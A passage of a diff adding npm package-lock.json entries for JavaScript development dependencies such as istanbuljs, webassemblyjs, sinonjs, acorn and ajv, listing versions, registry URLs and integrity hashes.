"sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==", + "dev": true, + "dependencies": { + "locate-path": "^5.0.0", + "path-exists": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/js-yaml": { + "version": "3.14.1", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz", + "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==", + "dev": true, + "dependencies": { + "argparse": "^1.0.7", + "esprima": "^4.0.0" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/locate-path": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", + "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", + "dev": true, + "dependencies": { + "p-locate": "^4.1.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/p-limit": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz", + "integrity": "sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==", + "dev": true, + "dependencies": { + "p-try": "^2.0.0" + }, + "engines": { + "node": ">=6" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/p-locate": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/p-locate/-/p-locate-4.1.0.tgz", + "integrity": "sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==", + "dev": true, + "dependencies": { + "p-limit": "^2.2.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/load-nyc-config/node_modules/resolve-from": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-5.0.0.tgz", + "integrity": "sha512-qYg9KP24dD5qka9J47d0aVky0N+b4fTU89LN9iDnjB5waksiC49rvMB0PrUJQGoTmH50XPiqOvAjDfaijGxYZw==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@istanbuljs/schema": { + "version": "0.1.3", + "resolved": "https://registry.npmjs.org/@istanbuljs/schema/-/schema-0.1.3.tgz", + "integrity": "sha512-ZXRY4jNvVgSVQ8DL3LTcakaAtXwTVUxE81hslsyD2AtoXW/wVob10HkOJ1X/pAlcI7D+2YoZKg5do8G/w6RYgA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.3.tgz", + "integrity": "sha512-HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ==", + "dev": true, + "dependencies": { + "@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz", + "integrity": "sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==", + "dev": true, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/set-array": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.1.2.tgz", + "integrity": "sha512-xnkseuNADM0gt2bs+BvhO0p78Mk762YnZdsuzFV018NoG1Sj1SCQvpSqa7XUaTam5vAGasABV9qXASMKnFMwMw==", + "dev": true, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/source-map": { + "version": "0.3.5", + "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.5.tgz", + "integrity": "sha512-UTYAUj/wviwdsMfzoSJspJxbkH5o1snzwX0//0ENX1u/55kkZZkcTZP6u9bwKGkv+dkk9at4m1Cpt0uY80kcpQ==", + "dev": true, + "peer": true, + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.0", + "@jridgewell/trace-mapping": "^0.3.9" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.4.15", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.15.tgz", + "integrity": "sha512-eF2rxCRulEKXHTRiDrDy6erMYWqNw4LPdQ8UQA4huuxaQsVeRPFl2oM8oDGxMFhJUWZf9McpLtJasDDZb/Bpeg==", + "dev": true + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.18", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.18.tgz", + "integrity": "sha512-w+niJYzMHdd7USdiH2U6869nqhD2nbfZXND5Yp93qIbEmnDNk7PD48o+YchRVpzMU7M6jVCbenTR7PA1FLQ9pA==", + "dev": true, + "dependencies": { + "@jridgewell/resolve-uri": "3.1.0", + "@jridgewell/sourcemap-codec": "1.4.14" + } + }, + "node_modules/@jridgewell/trace-mapping/node_modules/@jridgewell/sourcemap-codec": { + "version": "1.4.14", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.4.14.tgz", + "integrity": "sha512-XPSJHWmi394fuUuzDnGz1wiKqWfo1yXecHQMRf2l6hztTO+nPru658AyDngaBe7isIxEkRsPR3FZh+s7iVa4Uw==", + "dev": true + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "dev": true, + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "dev": true, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "dev": true, + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@sinonjs/commons": { + "version": "1.8.6", + "resolved": "https://registry.npmjs.org/@sinonjs/commons/-/commons-1.8.6.tgz", + "integrity": "sha512-Ky+XkAkqPZSm3NLBeUng77EBQl3cmeJhITaGHdYH8kjVB+aun3S4XBRti2zt17mtt0mIUDiNxYeoJm6drVvBJQ==", + "dev": true, + "dependencies": { + "type-detect": "4.0.8" + } + }, + "node_modules/@sinonjs/fake-timers": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/@sinonjs/fake-timers/-/fake-timers-7.1.2.tgz", + "integrity": "sha512-iQADsW4LBMISqZ6Ci1dupJL9pprqwcVFTcOsEmQOEhW+KLCVn/Y4Jrvg2k19fIHCp+iFprriYPTdRcQR8NbUPg==", + "dev": true, + "dependencies": { + "@sinonjs/commons": "^1.7.0" + } + }, + "node_modules/@sinonjs/formatio": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/@sinonjs/formatio/-/formatio-3.2.2.tgz", + "integrity": "sha512-B8SEsgd8gArBLMD6zpRw3juQ2FVSsmdd7qlevyDqzS9WTCtvF55/gAL+h6gue8ZvPYcdiPdvueM/qm//9XzyTQ==", + "dev": true, + "dependencies": { + "@sinonjs/commons": "^1", + "@sinonjs/samsam": "^3.1.0" + } + }, + "node_modules/@sinonjs/formatio/node_modules/@sinonjs/samsam": { + "version": "3.3.3", + "resolved": "https://registry.npmjs.org/@sinonjs/samsam/-/samsam-3.3.3.tgz", + "integrity": "sha512-bKCMKZvWIjYD0BLGnNrxVuw4dkWCYsLqFOUWw8VgKF/+5Y+mE7LfHWPIYoDXowH+3a9LsWDMo0uAP8YDosPvHQ==", + "dev": true, + "dependencies": { + "@sinonjs/commons": "^1.3.0", + "array-from": "^2.1.1", + "lodash": "^4.17.15" + } + }, + "node_modules/@sinonjs/samsam": { + "version": "6.1.3", + "resolved": "https://registry.npmjs.org/@sinonjs/samsam/-/samsam-6.1.3.tgz", + "integrity": "sha512-nhOb2dWPeb1sd3IQXL/dVPnKHDOAFfvichtBf4xV00/rU1QbPCQqKMbvIheIjqwVjh7qIgf2AHTHi391yMOMpQ==", + "dev": true, + "dependencies": { + "@sinonjs/commons": "^1.6.0", + "lodash.get": "^4.4.2", + "type-detect": "^4.0.8" + } + }, + "node_modules/@sinonjs/text-encoding": { + "version": "0.7.2", + "resolved": "https://registry.npmjs.org/@sinonjs/text-encoding/-/text-encoding-0.7.2.tgz", + "integrity": "sha512-sXXKG+uL9IrKqViTtao2Ws6dy0znu9sOaP1di/jKGW1M6VssO8vlpXCQcpZ+jisQ1tTFAC5Jo/EOzFbggBagFQ==", + "dev": true + }, + "node_modules/@tootallnate/once": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@tootallnate/once/-/once-2.0.0.tgz", + "integrity": "sha512-XCuKFP5PS55gnMVu3dty8KPatLqUoy/ZYzDzAGCQ8JNFCkLXzmI7vNHCR+XpbZaMWQK/vQubr7PkYq8g470J/A==", + "dev": true, + "engines": { + "node": ">= 10" + } + }, + "node_modules/@types/eslint": { + "version": "8.44.0", + "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-8.44.0.tgz", + "integrity": "sha512-gsF+c/0XOguWgaOgvFs+xnnRqt9GwgTvIks36WpE6ueeI4KCEHHd8K/CKHqhOqrJKsYH8m27kRzQEvWXAwXUTw==", + "dev": true, + "peer": true, + "dependencies": { + "@types/estree": "*", + "@types/json-schema": "*" + } + }, + "node_modules/@types/eslint-scope": { + "version": "3.7.4", + "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.4.tgz", + "integrity": "sha512-9K4zoImiZc3HlIp6AVUDE4CWYx22a+lhSZMYNpbjW04+YF0KWj4pJXnEMjdnFTiQibFFmElcsasJXDbdI/EPhA==", + "dev": true, + "peer": true, + "dependencies": { + "@types/eslint": "*", + "@types/estree": "*" + } + }, + "node_modules/@types/estree": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.1.tgz", + "integrity": "sha512-LG4opVs2ANWZ1TJoKc937iMmNstM/d0ae1vNbnBvBhqCSezgVUOzcLCqbI5elV8Vy6WKwKjaqR+zO9VKirBBCA==", + "dev": true, + "peer": true + }, + "node_modules/@types/json-schema": { + "version": "7.0.12", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.12.tgz", + "integrity": "sha512-Hr5Jfhc9eYOQNPYO5WLDq/n4jqijdHNlDXjuAQkkt+mWdQR+XJToOHrsD4cPaMXpn6KO7y2+wM8AZEs8VpBLVA==", + "dev": true, + "peer": true + }, + "node_modules/@types/node": { + "version": "20.4.2", + "resolved": "https://registry.npmjs.org/@types/node/-/node-20.4.2.tgz", + "integrity": "sha512-Dd0BYtWgnWJKwO1jkmTrzofjK2QXXcai0dmtzvIBhcA+RsG5h8R3xlyta0kGOZRNfL9GuRtb1knmPEhQrePCEw==", + "dev": true, + "peer": true + }, + "node_modules/@ungap/promise-all-settled": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/@ungap/promise-all-settled/-/promise-all-settled-1.1.2.tgz", + "integrity": "sha512-sL/cEvJWAnClXw0wHk85/2L0G6Sj8UB0Ctc1TEMbKSsmpRosqhwj9gWgFRZSrBr2f9tiXISwNhCPmlfqUqyb9Q==", + "dev": true + }, + "node_modules/@webassemblyjs/ast": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.11.6.tgz", + "integrity": "sha512-IN1xI7PwOvLPgjcf180gC1bqn3q/QaOCwYUahIOhbYUu8KA/3tw2RT/T0Gidi1l7Hhj5D/INhJxiICObqpMu4Q==", + "dev": true, + "peer": true, + "dependencies": { + "@webassemblyjs/helper-numbers": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6" + } + }, + "node_modules/@webassemblyjs/floating-point-hex-parser": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.6.tgz", + "integrity": "sha512-ejAj9hfRJ2XMsNHk/v6Fu2dGS+i4UaXBXGemOfQ/JfQ6mdQg/WXtwleQRLLS4OvfDhv8rYnVwH27YJLMyYsxhw==", + "dev": true, + "peer": true + }, + "node_modules/@webassemblyjs/helper-api-error": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.6.tgz", + "integrity": "sha512-o0YkoP4pVu4rN8aTJgAyj9hC2Sv5UlkzCHhxqWj8butaLvnpdc2jOwh4ewE6CX0txSfLn/UYaV/pheS2Txg//Q==", + "dev": true, + "peer": true + }, + "node_modules/@webassemblyjs/helper-buffer": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.11.6.tgz", + "integrity": "sha512-z3nFzdcp1mb8nEOFFk8DrYLpHvhKC3grJD2ardfKOzmbmJvEf/tPIqCY+sNcwZIY8ZD7IkB2l7/pqhUhqm7hLA==", + "dev": true, + "peer": true + }, + "node_modules/@webassemblyjs/helper-numbers": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.6.tgz", + "integrity": "sha512-vUIhZ8LZoIWHBohiEObxVm6hwP034jwmc9kuq5GdHZH0wiLVLIPcMCdpJzG4C11cHoQ25TFIQj9kaVADVX7N3g==", + "dev": true, + "peer": true, + "dependencies": { + "@webassemblyjs/floating-point-hex-parser": "1.11.6", + "@webassemblyjs/helper-api-error": "1.11.6", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/helper-wasm-bytecode": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.6.tgz", + "integrity": "sha512-sFFHKwcmBprO9e7Icf0+gddyWYDViL8bpPjJJl0WHxCdETktXdmtWLGVzoHbqUcY4Be1LkNfwTmXOJUFZYSJdA==", + "dev": true, + "peer": true + }, + "node_modules/@webassemblyjs/helper-wasm-section": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.11.6.tgz", + "integrity": "sha512-LPpZbSOwTpEC2cgn4hTydySy1Ke+XEu+ETXuoyvuyezHO3Kjdu90KK95Sh9xTbmjrCsUwvWwCOQQNta37VrS9g==", + "dev": true, + "peer": true, + "dependencies": { + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-buffer": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/wasm-gen": "1.11.6" + } + }, + "node_modules/@webassemblyjs/ieee754": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.6.tgz", + "integrity": "sha512-LM4p2csPNvbij6U1f19v6WR56QZ8JcHg3QIJTlSwzFcmx6WSORicYj6I63f9yU1kEUtrpG+kjkiIAkevHpDXrg==", + "dev": true, + "peer": true, + "dependencies": { + "@xtuc/ieee754": "^1.2.0" + } + }, + "node_modules/@webassemblyjs/leb128": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.6.tgz", + "integrity": "sha512-m7a0FhE67DQXgouf1tbN5XQcdWoNgaAuoULHIfGFIEVKA6tu/edls6XnIlkmS6FrXAquJRPni3ZZKjw6FSPjPQ==", + "dev": true, + "peer": true, + "dependencies": { + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/utf8": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.6.tgz", + "integrity": "sha512-vtXf2wTQ3+up9Zsg8sa2yWiQpzSsMyXj0qViVP6xKGCUT8p8YJ6HqI7l5eCnWx1T/FYdsv07HQs2wTFbbof/RA==", + "dev": true, + "peer": true + }, + "node_modules/@webassemblyjs/wasm-edit": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.11.6.tgz", + "integrity": "sha512-Ybn2I6fnfIGuCR+Faaz7YcvtBKxvoLV3Lebn1tM4o/IAJzmi9AWYIPWpyBfU8cC+JxAO57bk4+zdsTjJR+VTOw==", + "dev": true, + "peer": true, + "dependencies": { + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-buffer": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/helper-wasm-section": "1.11.6", + "@webassemblyjs/wasm-gen": "1.11.6", + "@webassemblyjs/wasm-opt": "1.11.6", + "@webassemblyjs/wasm-parser": "1.11.6", + "@webassemblyjs/wast-printer": "1.11.6" + } + }, + "node_modules/@webassemblyjs/wasm-gen": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.11.6.tgz", + "integrity": "sha512-3XOqkZP/y6B4F0PBAXvI1/bky7GryoogUtfwExeP/v7Nzwo1QLcq5oQmpKlftZLbT+ERUOAZVQjuNVak6UXjPA==", + "dev": true, + "peer": true, + "dependencies": { + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/ieee754": "1.11.6", + "@webassemblyjs/leb128": "1.11.6", + "@webassemblyjs/utf8": "1.11.6" + } + }, + "node_modules/@webassemblyjs/wasm-opt": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.11.6.tgz", + "integrity": "sha512-cOrKuLRE7PCe6AsOVl7WasYf3wbSo4CeOk6PkrjS7g57MFfVUF9u6ysQBBODX0LdgSvQqRiGz3CXvIDKcPNy4g==", + "dev": true, + "peer": true, + "dependencies": { + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-buffer": "1.11.6", + "@webassemblyjs/wasm-gen": "1.11.6", + "@webassemblyjs/wasm-parser": "1.11.6" + } + }, + "node_modules/@webassemblyjs/wasm-parser": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.11.6.tgz", + "integrity": "sha512-6ZwPeGzMJM3Dqp3hCsLgESxBGtT/OeCvCZ4TA1JUPYgmhAx38tTPR9JaKy0S5H3evQpO/h2uWs2j6Yc/fjkpTQ==", + "dev": true, + "peer": true, + "dependencies": { + "@webassemblyjs/ast": "1.11.6", + "@webassemblyjs/helper-api-error": "1.11.6", + "@webassemblyjs/helper-wasm-bytecode": "1.11.6", + "@webassemblyjs/ieee754": "1.11.6", + "@webassemblyjs/leb128": "1.11.6", + "@webassemblyjs/utf8": "1.11.6" + } + }, + "node_modules/@webassemblyjs/wast-printer": { + "version": "1.11.6", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.11.6.tgz", + "integrity": "sha512-JM7AhRcE+yW2GWYaKeHL5vt4xqee5N2WcezptmgyhNS+ScggqcT1OtXykhAb13Sn5Yas0j2uv9tHgrjwvzAP4A==", + "dev": true, + "peer": true, + "dependencies": { + "@webassemblyjs/ast": "1.11.6", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@xtuc/ieee754": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", + "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==", + "dev": true, + "peer": true + }, + "node_modules/@xtuc/long": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz", + "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==", + "dev": true, + "peer": true + }, + "node_modules/abab": { + "version": "2.0.6", + "resolved": "https://registry.npmjs.org/abab/-/abab-2.0.6.tgz", + "integrity": "sha512-j2afSsaIENvHZN2B8GOpF566vZ5WVk5opAiMTvWgaQT8DkbOqsTfvNAvHoRGU2zzP8cPoqys+xHTRDWW8L+/BA==", + "dev": true + }, + "node_modules/acorn": { + "version": "8.10.0", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.10.0.tgz", + "integrity": "sha512-F0SAmZ8iUtS//m8DmCTA0jlh6TDKkHQyK6xc6V4KDTyZKA9dnvX9/3sRTVQrWm79glUAZbnmmNcdYwUIHWVybw==", + "dev": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-globals": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/acorn-globals/-/acorn-globals-6.0.0.tgz", + "integrity": "sha512-ZQl7LOWaF5ePqqcX4hLuv/bLXYQNfNWw2c0/yX/TsPRKamzHcTGQnlCjHT3TsmkOUVEPS3crCxiPfdzE/Trlhg==", + "dev": true, + "dependencies": { + "acorn": "^7.1.1", + "acorn-walk": "^7.1.1" + } + }, + "node_modules/acorn-globals/node_modules/acorn": { + "version": "7.4.1", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-7.4.1.tgz", + "integrity": "sha512-nQyp0o1/mNdbTO1PO6kHkwSrmgZ0MT/jCCpNiwbUjGoRN4dlBhqJtoQuCnEOKzgTVwg0ZWiCoQy6SxMebQVh8A==", + "dev": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/acorn-import-assertions": { + "version": "1.9.0", + "resolved": "https://registry.npmjs.org/acorn-import-assertions/-/acorn-import-assertions-1.9.0.tgz", + "integrity": "sha512-cmMwop9x+8KFhxvKrKfPYmN6/pKTYYHBqLa0DfvVZcKMJWNyWLnaqND7dx/qn66R7ewM1UX5XMaDVP5wlVTaVA==", + "dev": true, + "peer": true, + "peerDependencies": { + "acorn": "^8" + } + }, + "node_modules/acorn-jsx": { + "version": "5.3.2", + "resolved": "https://registry.npmjs.org/acorn-jsx/-/acorn-jsx-5.3.2.tgz", + "integrity": "sha512-rq9s+JNhf0IChjtDXxllJ7g41oZk5SlXtp0LHwyA5cejwn7vKmKp4pPri6YEePv2PU65sAsegbXtIinmDFDXgQ==", + "dev": true, + "peerDependencies": { + "acorn": "^6.0.0 || ^7.0.0 || ^8.0.0" + } + }, + "node_modules/acorn-walk": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/acorn-walk/-/acorn-walk-7.2.0.tgz", + "integrity": "sha512-OPdCF6GsMIP+Az+aWfAAOEt2/+iVDKE7oy6lJ098aoe59oAmK76qV6Gw60SbZ8jHuG2wH058GF4pLFbYamYrVA==", + "dev": true, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/agent-base": { + "version": "6.0.2", + "resolved": "https://registry.npmjs.org/agent-base/-/agent-base-6.0.2.tgz", + "integrity": "sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==", + "dev": true, + "dependencies": { + "debug": "4" + }, + "engines": { + "node": ">= 6.0.0" + } + }, + "node_modules/aggregate-error": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/aggregate-error/-/aggregate-error-3.1.0.tgz", + "integrity": "sha512-4I7Td01quW/RpocfNayFdFVk1qSuoh0E7JrbRJ16nH01HhKFQ88INq9Sd+nd72zqRySlr9BmDA8xlEJ6vJMrYA==", + "dev": true, + "dependencies": { + "clean-stack": "^2.0.0", + "indent-string": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dev": true, + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==", + "dev": true, + "peer": true, + "peerDependencies": { + "ajv": "^6.9.1" + } + }, + "node_modules/ansi-colors": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/ansi-colors/-/ansi-colors-4.1.3.tgz", + "integrity": "sha512-/6w/C21Pm1A7aZitlI5Ni/2J6FFQN8i1Cvz3kHABAAbw93v/NlvKdVOqz7CCWz/3iv/JplRSEEZ83XION15ovw==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/ansi-cyan": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/ansi-cyan/-/ansi-cyan-0.1.1.tgz", + "integrity": "sha512-eCjan3AVo/SxZ0/MyIYRtkpxIu/H3xZN7URr1vXVrISxeyz8fUFz0FJziamK4sS8I+t35y4rHg1b2PklyBe/7A==", + "dev": true, + "dependencies": { + "ansi-wrap": "0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ansi-gray": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/ansi-gray/-/ansi-gray-0.1.1.tgz", + "integrity": "sha512-HrgGIZUl8h2EHuZaU9hTR/cU5nhKxpVE1V6kdGsQ8e4zirElJ5fvtfc8N7Q1oq1aatO275i8pUFUCpNWCAnVWw==", + "dev": true, + "dependencies": { + "ansi-wrap": "0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ansi-red": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/ansi-red/-/ansi-red-0.1.1.tgz", + "integrity": "sha512-ewaIr5y+9CUTGFwZfpECUbFlGcC0GCw1oqR9RI6h1gQCd9Aj2GxSckCnPsVJnmfMZbwFYE+leZGASgkWl06Jow==", + "dev": true, + "dependencies": { + "ansi-wrap": "0.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/ansi-regex": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-5.0.1.tgz", + "integrity": "sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/ansi-wrap": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/ansi-wrap/-/ansi-wrap-0.1.0.tgz", + "integrity": "sha512-ZyznvL8k/FZeQHr2T6LzcJ/+vBApDnMNZvfVFy3At0knswWd6rJ3/0Hhmpu8oqa6C92npmozs890sX9Dl6q+Qw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/any-promise": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/any-promise/-/any-promise-1.3.0.tgz", + "integrity": "sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==", + "dev": true + }, + "node_modules/anymatch": { + "version": 